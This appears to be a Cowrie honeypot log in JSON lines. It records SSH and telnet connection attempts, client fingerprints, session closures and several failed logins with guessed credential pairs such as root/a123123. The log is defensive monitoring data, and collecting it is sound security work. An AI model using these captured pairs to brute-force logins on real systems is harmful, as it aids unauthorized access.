{"eventid":"cowrie.session.closed","duration":46.76541781425476,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:23:41.393350Z","src_ip":"174.138.46.234","session":"ac241994bb2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.42069339752197,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:23:42.442129Z","src_ip":"174.138.46.234","session":"f267dce7078f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.248.83.33","src_port":27666,"dst_ip":"159.203.135.109","dst_port":22,"session":"a28fae244bb4","protocol":"ssh","message":"New connection: 14.248.83.33:27666 (159.203.135.109:22) [session: a28fae244bb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:23:51.926616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:23:51.930713Z","src_ip":"14.248.83.33","session":"a28fae244bb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:23:52.167415Z","src_ip":"14.248.83.33","session":"a28fae244bb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"pa55w0rd","message":"login attempt [developer/pa55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:23:53.146610Z","src_ip":"14.248.83.33","session":"a28fae244bb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:23:54.387252Z","src_ip":"14.248.83.33","session":"a28fae244bb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.85663461685181,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:23:56.080968Z","src_ip":"174.138.46.234","session":"858b56afcdb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.39.158.30","src_port":46138,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3356490e12d","protocol":"ssh","message":"New connection: 181.39.158.30:46138 (159.203.135.109:22) [session: d3356490e12d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:24:03.882488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:24:03.887700Z","src_ip":"181.39.158.30","session":"d3356490e12d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:24:04.003985Z","src_ip":"181.39.158.30","session":"d3356490e12d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":36930,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b3f36ca8f6c","protocol":"telnet","message":"New connection: 174.138.46.234:36930 (159.203.135.109:23) [session: 6b3f36ca8f6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:24:04.364687Z"}
{"eventid":"cowrie.login.failed","username":"ali","password":"12345","message":"login attempt [ali/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:24:04.498656Z","src_ip":"181.39.158.30","session":"d3356490e12d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":37150,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd427dba1cf0","protocol":"telnet","message":"New connection: 174.138.46.234:37150 (159.203.135.109:23) [session: fd427dba1cf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:24:05.207459Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:24:05.616986Z","src_ip":"181.39.158.30","session":"d3356490e12d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.39733123779297,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:24:10.333534Z","src_ip":"217.182.190.44","session":"bc3794807279","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.991929292678833,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:24:10.356482Z","src_ip":"174.138.46.234","session":"6b3f36ca8f6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.846074819564819,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:24:11.053415Z","src_ip":"174.138.46.234","session":"fd427dba1cf0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.69.96.120","src_port":56948,"dst_ip":"159.203.135.109","dst_port":22,"session":"2debd457e75b","protocol":"ssh","message":"New connection: 103.69.96.120:56948 (159.203.135.109:22) [session: 2debd457e75b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:24:11.318726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:24:11.323801Z","src_ip":"103.69.96.120","session":"2debd457e75b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:24:11.570911Z","src_ip":"103.69.96.120","session":"2debd457e75b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123123","message":"login attempt [root/a123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:24:12.588405Z","src_ip":"103.69.96.120","session":"2debd457e75b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:24:13.837193Z","src_ip":"103.69.96.120","session":"2debd457e75b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":39796,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc1070a83562","protocol":"telnet","message":"New connection: 174.138.46.234:39796 (159.203.135.109:23) [session: dc1070a83562]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:24:14.218272Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":39800,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd34d8e6175a","protocol":"telnet","message":"New connection: 174.138.46.234:39800 (159.203.135.109:23) [session: dd34d8e6175a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:24:14.244066Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":40230,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4fa95ef943e","protocol":"telnet","message":"New connection: 174.138.46.234:40230 (159.203.135.109:23) [session: b4fa95ef943e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:24:16.835043Z"}
{"eventid":"cowrie.session.closed","duration":3.9630234241485596,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:24:18.181189Z","src_ip":"174.138.46.234","session":"dc1070a83562","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":40426,"dst_ip":"159.203.135.109","dst_port":23,"session":"32e58f41c3f6","protocol":"telnet","message":"New connection: 174.138.46.234:40426 (159.203.135.109:23) [session: 32e58f41c3f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:24:19.398126Z"}
{"eventid":"cowrie.session.closed","duration":7.5152268409729,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:24:21.759138Z","src_ip":"174.138.46.234","session":"dd34d8e6175a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.0127463340759277,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:24:22.410749Z","src_ip":"174.138.46.234","session":"32e58f41c3f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.1166090965271,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:24:22.951540Z","src_ip":"174.138.46.234","session":"b4fa95ef943e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.248.83.33","src_port":62444,"dst_ip":"159.203.135.109","dst_port":22,"session":"da2ecaf2d9f9","protocol":"ssh","message":"New connection: 14.248.83.33:62444 (159.203.135.109:22) [session: da2ecaf2d9f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:24:49.496215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:24:49.500442Z","src_ip":"14.248.83.33","session":"da2ecaf2d9f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:24:49.737574Z","src_ip":"14.248.83.33","session":"da2ecaf2d9f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"77777777","message":"login attempt [ubuntu/77777777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:24:50.717726Z","src_ip":"14.248.83.33","session":"da2ecaf2d9f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:24:51.958002Z","src_ip":"14.248.83.33","session":"da2ecaf2d9f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":50804,"dst_ip":"159.203.135.109","dst_port":23,"session":"c25738463f9d","protocol":"telnet","message":"New connection: 174.138.46.234:50804 (159.203.135.109:23) [session: c25738463f9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:24:52.590561Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":50874,"dst_ip":"159.203.135.109","dst_port":23,"session":"77a64cad466a","protocol":"telnet","message":"New connection: 174.138.46.234:50874 (159.203.135.109:23) [session: 77a64cad466a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:24:52.860032Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":50960,"dst_ip":"159.203.135.109","dst_port":23,"session":"01f60a7bca89","protocol":"telnet","message":"New connection: 174.138.46.234:50960 (159.203.135.109:23) [session: 01f60a7bca89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:24:53.187790Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":51222,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ec6f5d7072f","protocol":"telnet","message":"New connection: 174.138.46.234:51222 (159.203.135.109:23) [session: 3ec6f5d7072f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:24:54.041133Z"}
{"eventid":"cowrie.session.closed","duration":6.035086393356323,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:24:59.222763Z","src_ip":"174.138.46.234","session":"01f60a7bca89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.742653131484985,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:24:59.333087Z","src_ip":"174.138.46.234","session":"c25738463f9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.916297674179077,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:24:59.957327Z","src_ip":"174.138.46.234","session":"3ec6f5d7072f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.39.158.30","src_port":10928,"dst_ip":"159.203.135.109","dst_port":22,"session":"347698c88c11","protocol":"ssh","message":"New connection: 181.39.158.30:10928 (159.203.135.109:22) [session: 347698c88c11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:25:03.991548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:25:04.008366Z","src_ip":"181.39.158.30","session":"347698c88c11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:25:04.126246Z","src_ip":"181.39.158.30","session":"347698c88c11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"pa55w0rd","message":"login attempt [developer/pa55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:25:04.618507Z","src_ip":"181.39.158.30","session":"347698c88c11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:25:05.741435Z","src_ip":"181.39.158.30","session":"347698c88c11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.69.96.120","src_port":42242,"dst_ip":"159.203.135.109","dst_port":22,"session":"30197079f671","protocol":"ssh","message":"New connection: 103.69.96.120:42242 (159.203.135.109:22) [session: 30197079f671]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:25:14.197213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:25:14.202737Z","src_ip":"103.69.96.120","session":"30197079f671","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:25:14.448586Z","src_ip":"103.69.96.120","session":"30197079f671","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kkk","message":"login attempt [root/kkk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:25:15.449276Z","src_ip":"103.69.96.120","session":"30197079f671","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.109.114.213","src_port":44144,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4ab669d370d","protocol":"telnet","message":"New connection: 91.109.114.213:44144 (10.17.0.5:23) [session: f4ab669d370d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:25:15.902059Z"}
